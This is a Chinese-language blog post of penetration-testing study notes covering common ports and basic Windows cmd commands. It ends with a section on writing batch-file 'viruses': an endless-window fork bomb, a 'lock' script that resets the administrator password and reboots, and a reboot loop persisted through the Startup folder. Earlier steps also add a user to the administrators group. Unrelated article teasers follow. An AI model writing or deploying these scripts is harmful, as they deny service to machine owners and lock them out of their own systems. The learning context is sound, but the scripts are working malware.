渗透测试笔记—Windows基础和病毒制作

news/2024/11/30 12:21:23/

声明:

学习视频来自B站up主 【泷羽sec】有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!

内容有误的地方欢迎各位大佬及时指正修改,虚心求教,共同进步!

有兴趣的小伙伴可以点击下面连接进入b站主页[B站泷羽sec]

https://space.bilibili.com/350329294


 

目录

声明:

 常见的端口信息

常见端口及对应服务

echo命令实操

查看echo帮助信息

实现输出功能

把输出的内容定向到一个txt文件内

接下来就需要学习如何把文件保存到桌面,方便我们查找和修改

接下来学习如何追加新的内容到文件内

覆盖操作

 dir(展示当前目录文件)

 切换目录操作

 cd简单操作

tree文件树状图

帮助文档

/f 显示文件的名称

出现乱码的话可以用/a(使用ascII字符显示,而不使用扩展字符)

 md创建目录和rd删除目录

md创建

rd删除

ipconfig(显示当前的网络状态 ip配置)

查看所有的网络配置信息

cls清屏

copy(复制拼接文件)

查看帮助文档

将文件复制到上一级目录

 复制并重命名

拼接操作

move(移动文件)

 ren(重命名)

 del(删除)

ping命令(一般用于探测目标主机是否存活)

type(显示文本文件内容)

reg(注册表)

nslookup(探测域名信息)

 -d:可以查看域名的历史解析记录

 find(查找)

/n:排序查找

type和find结合使用

tasklist(任务列表 显示当前进程信息)

taskkill:终止进程服务

winver(查看Windows系统版本)

start命令(开启命令)

systeminfo(查看整个系统信息)

logoff(注销)

shutdown(关机)

telnet(协议工具)

arp(查看自己ip与物理机的映射关系)

-a 命令

at(定时命令)

net(服务)

1. 服务管理

2. 用户管理

实战cmd 编写bat病毒

1.资源耗尽,无限弹窗病毒

2.锁机病毒

3.无限重启病毒


 常见的端口信息

常见端口及对应服务

端口号服务名称描述
21FTP文件传输协议,常用于在客户端和服务器之间传输文件。
23Telnet一种用于远程登录和管理计算机的协议,通常不加密,存在安全风险。
80HTTP超文本传输协议,Web 服务的默认端口,用于传输网页内容。
81-89可能是 HTTP一些非标准 Web 服务端口,可能用于特定应用或管理界面。
443HTTPS安全的超文本传输协议,基于 SSL/TLS,提供加密的网站访问。
445SMBServer Message Block,用于文件和打印共享,通常在 Windows 网络中使用。
3306MySQLMySQL 数据库服务的默认端口,用于数据库连接。
3389RDP远程桌面协议,用于远程连接 Windows 计算机。
5432PostgreSQLPostgreSQL 数据库服务的默认端口。
5900VNC虚拟网络计算,允许远程桌面访问计算机,通常使用加密进行通信。
6379RedisRedis 数据库的默认端口。
7000WeblogicOracle WebLogic Server 的默认端口,通常用于应用服务和管理。
7001Weblogic (Admin)WebLogic 管理控制台的默认端口,通常用于服务器管理。
8080HTTP (Alt)另一个常用的 HTTP 服务端口,常用于测试和开发环境。
8090HTTP (Alternate)常用于开发和测试的替代 HTTP 端口。
8888HTTP (Alternative)经常用于开发者工具和特定服务,如 Jupyter Notebook。
10000WebminWebmin 管理界面的默认端口,常用于服务器管理。
11211MemcachedMemcached 缓存系统的默认端口,用于加速动态 Web 应用。
27017MongoDBMongoDB 数据库服务的默认端口。
27018MongoDB (Sharded)MongoDB 分片模式的默认端口。
28017MongoDB HTTP StatusMongoDB 的 HTTP 状态接口,提供 Web 界面和状态查询功能。
2222远程管理常见于虚拟主机管理和其他管理接口,使用较多。
3128Squid代理服务器软件 Squid 的默认端口,用于网页缓存和访问控制。
8089JBoss

JBoss 应用服务器的默认管理端口。

echo命令实操

echo/?
  • 查看echo帮助信息

  • 实现输出功能

echo 12333

  • 把输出的内容定向到一个txt文件内

echo 123335 > 1.txt

  • 这个时候我们去系统文件夹里面找一下
  • 好家伙,因为我是以管理员方式启动的命令行界面,所以保存的位置让我一顿好找啊

  • 这里我们可以成功看到1.txt文件
  • 接下来打开看看我们输出的内容还在不在

  • nice保存成功了,非常不错!
  • 接下来就需要学习如何把文件保存到桌面,方便我们查找和修改

cd \Users\戴尔\Desktop
  •  这里我们通过cd命令切换到桌面
  • 然后我们再次输出保存一下看看

  • 没问题,保存成功了
  • 接下来学习如何追加新的内容到文件内

echo 1256852ddd >> 1.txt

  • 覆盖操作

echo 1256852ddd2 > 1.txt

 > :代表新建和覆盖

>>:代表追加

 dir(展示当前目录文件)

dir

 切换目录操作

  • 输入盘符加冒号即可完成切换

  •  cd简单操作

cd .
  • 这里是进入当前文件
cd ..
  • 这里是返回上一层文件

  •  进入指定目录
cd desktop

tree文件树状图

  • 帮助文档

tree /?

  • 然后我们看一下树状图

  • /f 显示文件的名称

  • 这里为了方便查看结果,我自己单独建立了两个测试文件夹
tree /f

  •  这时候我们在返回到上一层看一下用户组下的文件目录树状图
tree c:\users\戴尔 /f

  • 这里显示出来所有文件目录,因为我是win10的虚拟机系统,所以文件名称没有乱码
  • 出现乱码的话可以用/a(使用ascII字符显示,而不使用扩展字符)

tree c:\users\戴尔 /a

 md创建目录和rd删除目录

  • md创建

md 文件名

  • rd删除

rd 文件名

tab补全:如果你输入到一般忘记文件路径或者命名可以按下tab按键让他自动补全

ipconfig(显示当前的网络状态 ip配置)

  • 一般使用这条命令查看本机的网络情况,排查网络故障的

  • 查看所有的网络配置信息

ipconfig /all

cls清屏

  • 嗯,非常干净(直接敲cls就可以了)

copy(复制拼接文件)

  • 查看帮助文档

copy /?

  • 将文件复制到上一级目录

copy 1.txt ..\1.txt

  •  复制并重命名

copy 1.txt Desktop\2.txt

  • 拼接操作

  • 首先我们先使用echo写入一下不同的内容

  •  接下来完成拼接
copy 1.txt+2.txt 3.txt

move(移动文件)

move ..\1.txt 4.txt

 ren(重命名)

ren 4.txt 5.txt

  • 这里可以看到我们已经完成了文件名称的修改

 del(删除)

del 1.txt 2.txt 3.txt

  • 这里可以看到我们已经把1 2 3的txt文件已经删除掉了

  • 这里可以看到我们删除的文件是直接删除掉的,没有进入到回收站

ping命令(一般用于探测目标主机是否存活)

  • 这是它的一些用法

type(显示文本文件内容)

type 5.txt

reg(注册表)

reg /?
  • 下面是一些基本的用法,这些用法我们在学习到内网渗透的时候会再去学习的

 

nslookup(探测域名信息)

nslookup 域名

  •  -d:可以查看域名的历史解析记录

nslookup -d 域名

 find(查找)

  •  先添加一组数据
echo kskakdklaldklwdkwssssssssdadadad >> 5.txt
  • 然后再去查找一下
find "sss" 5.txt

  • 它的查找是根据字符串去查找到
  • /n:排序查找

find /n "sss" 5.txt

type和find结合使用

type 5.txt | find "da" /n

tasklist(任务列表 显示当前进程信息)

taskkill:终止进程服务

  • 接下来以记事本的进程为例
taskkill /pid 1692

  • 如果遇到关不掉的加一个:/f
  • 这样可以强制关闭

winver(查看Windows系统版本)

  • 会产生一个弹窗给你

start命令(开启命令)

  • 开启一个cmd
start cmd

  •  开启一个计算器
start calc

  •  启动ping命令
start ping www.baidu.com /t

  • 这里就开启一个新的窗口进行ping百度

systeminfo(查看整个系统信息)

  • 这里我们可以查看一些比较重要的信息,比如说补丁信息
  • 后期我们提权就是针对一些不同的修补程序进行一个提权

logoff(注销)

  • 老规矩先看一下帮助

shutdown(关机)

shutdown /s :在一分钟内关机

shutdown /a :计划取消

shutdown /r :重启

shutdown /g : 在一分钟内关机

shutdown /r /t 0 :/t设置时间 设置为0立即执行

telnet(协议工具)

这个需要先去手动开启一下

  • 先打开控制面板,找到程序

  • 找到打开或关闭Windows功能

  •  找到Telnet Client客户端勾选

  • 然后我们再试一下

  • 这里我们就可以直接通过telent拼接ip做远程连接

arp(查看自己ip与物理机的映射关系)

  • 先看一下帮助文档

-a 命令

  • 假设你以后拿到了一台内网机器你通过这条命令可以查看当前内网有那些主机以助于横向移动,用于发现同一网络中有哪些主机

arp -a

at(定时命令)

  • 举例:定时关机
at 时间 "shutdown(关机)/r /t 0"
  • 取消命令
at 1 /delete

net(服务)

1. 服务管理
  • 停止 Telnet 服务

    • 命令:
      net stop telnet 
    • 描述: 关闭 Telnet 服务。
  • 启动 Telnet 服务

    • 命令:
      net start telnet 
    • 描述: 启动 Telnet 服务。
2. 用户管理
  • 查看当前用户

    • 命令:
      net user 
    • 描述: 列出当前计算机上的所有用户账户。
  • 添加新用户

    • 命令:
      net user admin 123 /add 
    • 描述: 添加名为 admin 的用户,设置密码为 123
  • 查看用户权限

    • 命令:
      net user admin 
    • 描述: 显示 admin 用户的详细信息,包括权限和组。
  • 查看管理员用户权限

    • 命令:
      net user administrator 
    • 描述: 显示 administrator 用户的详细信息,包括权限和组。
  • 将用户添加到管理员组

    • 命令:
      net localgroup administrator admin /add 
    • 描述: 将 admin 用户添加到本地管理员组。
  • 删除用户

    • 命令:
      net user admin /delete 
    • 描述: 删除名为 admin 的用户账户。

实战cmd 编写bat病毒

1.资源耗尽,无限弹窗病毒

echo start cmd > 1.txt
echo %0 >> 1.txt
ren 1.txt 1.bat
  • echo start cmd > 1.txt: 将 start cmd 写入文件 1.txt,用于打开一个新的命令行窗口。
  • echo %0 >> 1.txt: 将当前批处理脚本的名称追加到 1.txt 中,%0 代表当前脚本的名称。
  • ren 1.txt 1.bat: 将 1.txt 重命名为 1.bat,使该文件成为可执行的批处理脚本。

2.锁机病毒

echo net user administrator 123456 > c:\windows\Temp\1.bat
echo shutdown /r /t 0 >> c:\windows\Temp\1.bat
  • echo net user administrator 123456 > c:\windows\Temp\1.bat: 创建一个新用户 administrator,密码为 123456,并将其写入 1.bat 中。
  • echo shutdown /r /t 0 >> c:\windows\Temp\1.bat: 在 1.bat 中添加命令,系统重启。

3.无限重启病毒

shutdown /r /t 0 > c:\windows\Temp\1.bat
copy c:\windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\"
  • shutdown /r /t 0 > c:\windows\Temp\1.bat: 创建一个脚本文件,使计算机立即重启。
  • copy c:\windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\": 将 1.bat 复制到启动文件夹,以便在每次系统启动时都运行它。

http://www.ppmy.cn/news/1551191.html

相关文章

数据采集中,除了IP池的IP被封,还有哪些常见问题?

在数据采集的过程中,代理IP池的使用无疑为我们打开了一扇通往信息宝库的大门。然而,除了IP被封禁这一常见问题外,还有许多其他问题可能影响数据采集的效果。本文将探讨在数据采集中,除了IP被封之外,还可能遇到的一些常…

深入探索Facebook的技术生态:社交网络背后的科技创新

Facebook(现Meta)作为全球领先的社交平台,其背后的技术生态是推动其不断创新与发展的关键。除了作为一个社交网络,Facebook通过深度融入人工智能、虚拟现实、增强现实等前沿技术,重塑了数字社交的未来。本文将简要探讨…

七天掌握SQL——第六天:数据库性能优化与监控

一、引言 在数据库管理系统中,性能优化与监控是确保数据库高效运行的关键环节。通过优化查询和索引,可以显著提升数据库的处理速度;而有效的监控技术则能帮助我们及时发现并解决潜在的性能问题。本文将详细介绍数据库性能优化的方法&#xf…

VC++网络安全编程范例(12)-PKI编程

PKI(Public Key Infrastructure ) 即"公钥基础设施",是一种遵循既定标准的密钥管理平台,它能够为所有网络应用提供加密和数字签名等密码服务及所必需的密钥和证书管理体系,简单来说,PKI就是利用公钥理论和技…

C++算法练习-day45——236.二叉树的最近公共祖先

题目来源:. - 力扣(LeetCode) 题目思路分析 题目要求在一个二叉树中找到两个给定节点的最低公共祖先(Lowest Common Ancestor, LCA)。最低公共祖先是指在树中同时包含两个给定节点的所有节点中,深度最大的…

记一次 .NET某hdp智能柜系统 卡死分析

一:背景 1. 讲故事 停了一个月时间没有更新博客了,主要是这段时间有些许事情导致心神不宁,我这个人也比较浮躁所以无法潜心修炼,事情如下: 被狗咬了 也不知道是不是出门没看黄历,在小区门口店里买烟&am…

【Story】《嵌入式开发中的Bug故事:挑战、解决与成长》

作为一名嵌入式高级工程师,编写高效、稳定的嵌入式系统是我们的核心任务。然而,程序的世界里,Bug就像潜伏在阴影中的敌人,时刻可能以各种方式出现,打破我们精心设计的系统,带来无法预见的麻烦。作为嵌入式系…

你真的会用饼图吗?JVS-智能BI饼图组件深度解析

在数据可视化的世界里,饼图是我们常见的一种可视化图形。在JVS-智能BI中提供了数据可视化饼图组件,接下来我通过这篇文章详细介绍,从配色方案到图形配置,从显示数据到提示信息,饼图的每一个细节配置。 饼图类图表概述…